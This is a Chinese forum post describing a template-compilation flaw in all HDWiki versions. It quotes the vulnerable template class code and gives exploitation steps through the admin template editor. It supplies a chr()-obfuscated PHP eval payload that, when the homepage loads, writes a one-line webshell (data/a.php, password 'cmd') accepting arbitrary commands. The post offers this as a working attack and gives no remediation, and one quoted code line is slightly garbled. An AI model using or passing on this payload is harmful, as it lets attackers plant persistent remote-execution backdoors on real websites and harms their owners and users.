找回密码
 加入网盟
分割线
官方精品推荐
本帖最后由 Kaiter 于 2010-9-28 12:21 编辑

涉及系统:
HDWiki所有版本

漏洞描述:
HDWiki采用了模板机制,模板编译后会保存到data/view目录下,为php文件,之后展现模板时又include之,导致可以拿webshell

漏洞分析:
漏洞代码在lib/template.class.php文件:

  1. function display($file){//展现模板
  2. GLOBAL $starttime,$mquerynum;
  3. $mtime = explode(' ', microtime());
  4. $this->assign('runtime', number_format($mtime[1] + $mtime[0] - $starttime,6));
  5. $this->assign('querynum',$mquerynum);
  6. extract($this->vars, EXTR_SKIP);
  7. include $this->gettpl($file); //注意,漏洞在这里,include之
  8. }
  9. function gettpl($file){
  10. if(substr($file,0,7)=="file://"){
  11.   $ppos=strrpos($file,"/");
  12.   $dir_name=explode('/',substr($file,7));
  13.   $this->tplfile = HDWIKI_ROOT."/".substr($file,7).'.htm';
  14.   $this->objfile = $this->objdir.'/'.$dir_name[1].'_'.substr($file,$ppos+1).'.tpl.php'; //保存的php模板文件位置
  15. }else{
  16.   if($this->tplname!=='default'&&is_file($this->tpldir.'/'.$file.'.htm')){
  17.   $this->tplfile = $this->tpldir.'/'.$file.'.htm';
  18.   $this->objfile = $this->objdir.'/'.$this->tplname."_".$file.'.tpl.php';//保存的php模板文件位置
  19.   }else{
  20.   $this->tplfile = HDWIKI_ROOT.'/view/default/'.$file.'.htm';
  21.   $this->objfile = $this->objdir.'/'.$file.'.tpl.php';//保存的php模板文件位置
  22.   }
  23. }
  24. if($this->force || @filemtime($this->objfile) < @filemtime($this->tplfile)){
  25.   $this->complie();
  26. }
  27. return $this->objfile;
  28. }
  29. function;;complie() {//模板编译函数
  30. $template = file::readfromfile($this->tplfile);
  31. $template = preg_replace("/\<\!\-\-\{(.+?)\}\-\-\>/s", "{\\1}", $template);
  32. $template = preg_replace("/\{lang.(\w+?)\}/ise", "\$this->lang('\\1')", $template);
  33. if('1'==$this->vars['setting']['seo_type'] && '1'==$this->vars['setting']['seo_type_doc']){
  34.   $template = preg_replace("/\{url.doc\-view\-(.+?)\['did'\]\}/ise", "\$this->stripvtag('{url doc-view-{eval echo urlencode(\\1[\'rawtitle\']);}}')", $template);
  35. }
  36. $template = preg_replace("/\{($this->var_regexp)\}/", "<?=\\1?>", $template);
  37. $template = preg_replace("/\{($this->const_regexp)\}/", "<?=\\1?>", $template);
  38. $template = preg_replace("/(?<!\<\?\=|\\\\)$this->var_regexp/", "<?=\\0?>", $template);
  39. $template = preg_replace("/\{\{eval (.*?)\}\}/ies", "\$this->stripvtag('<? '">\\1?>')", $template);
  40. $template = preg_replace("/\{eval (.*?)\}/ies", "\$this->stripvtag('<? '">\\1?>')", $template);
  41. $template = preg_replace("/\{for (.*?)\}/ies", "\$this->stripvtag('<? for(\\1) {?>')", $template);
  42. $template = preg_replace("/\{elseif\s+(.+?)\}/ies", "\$this->stripvtag('<? } elseif(\\1) { ?>')", $template);
  43. $template = preg_replace("/\{hdwiki:([^\}]+?)\/\}/ies", "\$this->hdwiki('\\1')", $template);
  44. for($i=0; $i<2; $i++) {
  45.   $template = preg_replace("/\{hdwiki:(.+?)\}(.+?)\{\/hdwiki\}/ies", "\$this->hdwiki('\\1', '\\2')", $template);
  46.   $template = preg_replace("/\{loop\s+$this->vtag_regexp\s+$this->vtag_regexp\s+$this->vtag_regexp\}(.+?)\{\/loop\}/ies", "\$this->loopsection('\\1', '\\2', '\\3', '\\4')", $template);
  47.   $template = preg_replace("/\{loop\s+$this->vtag_regexp\s+$this->vtag_regexp\}(.+?)\{\/loop\}/ies", "\$this->loopsection('\\1', '', '\\2', '\\3')", $template);
  48. }
  49. $template = preg_replace("/\{if\s+(.+?)\}/ies", "\$this->stripvtag('<? if(\\1) { ?>')", $template);
  50. $template = preg_replace("/\{template\s+(\w+?)\}/is", "<? include \$this->gettpl('\\1');?>", $template);
  51. $template = preg_replace("/\{template\s+(.+?)\}/ise", "\$this->stripvtag('<? include \$this->gettpl(\\1); ?>')", $template);
  52. $template = preg_replace("/\{else\}/is", "<? } else { ?>", $template);
  53. $template = preg_replace("/\{\/if\}/is", "<? } ?>", $template);
  54. $template = preg_replace("/\{\/for\}/is", "<? } ?>", $template);
  55. $template = preg_replace("/$this->const_regexp/", "<?=\\1?>", $template);
  56. $template = "<? if(!defined('HDWIKI_ROOT')) exit('Access Denied');?>\r\n$template";
  57. $template = preg_replace("/(\\\$[a-zA-Z_]\w+\[)([a-zA-Z_]\w+)\]/i", "\\1'\\2']", $template);
  58. $template = preg_replace("/\{url.(.+?)\}/ise", "\$this->url('\\1')", $template);
  59. $fp = fopen($this->objfile, 'w');
  60. fwrite($fp, $template);//写入模板到php文件
  61. fclose($fp);
  62. }
复制代码

利用方法:
后台风格设置--编辑模板--高级编辑

选"页尾(footer.htm)",最后输入:

<?@eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59));?>

刷新首页,即在data下生成一句话木马a.php,密码为cmd
分享至 : QQ空间
收藏

1 个回复

倒序浏览
您需要登录后才可以回帖 登录 | 加入网盟
关闭

华夏网盟推荐 上一条 /1 下一条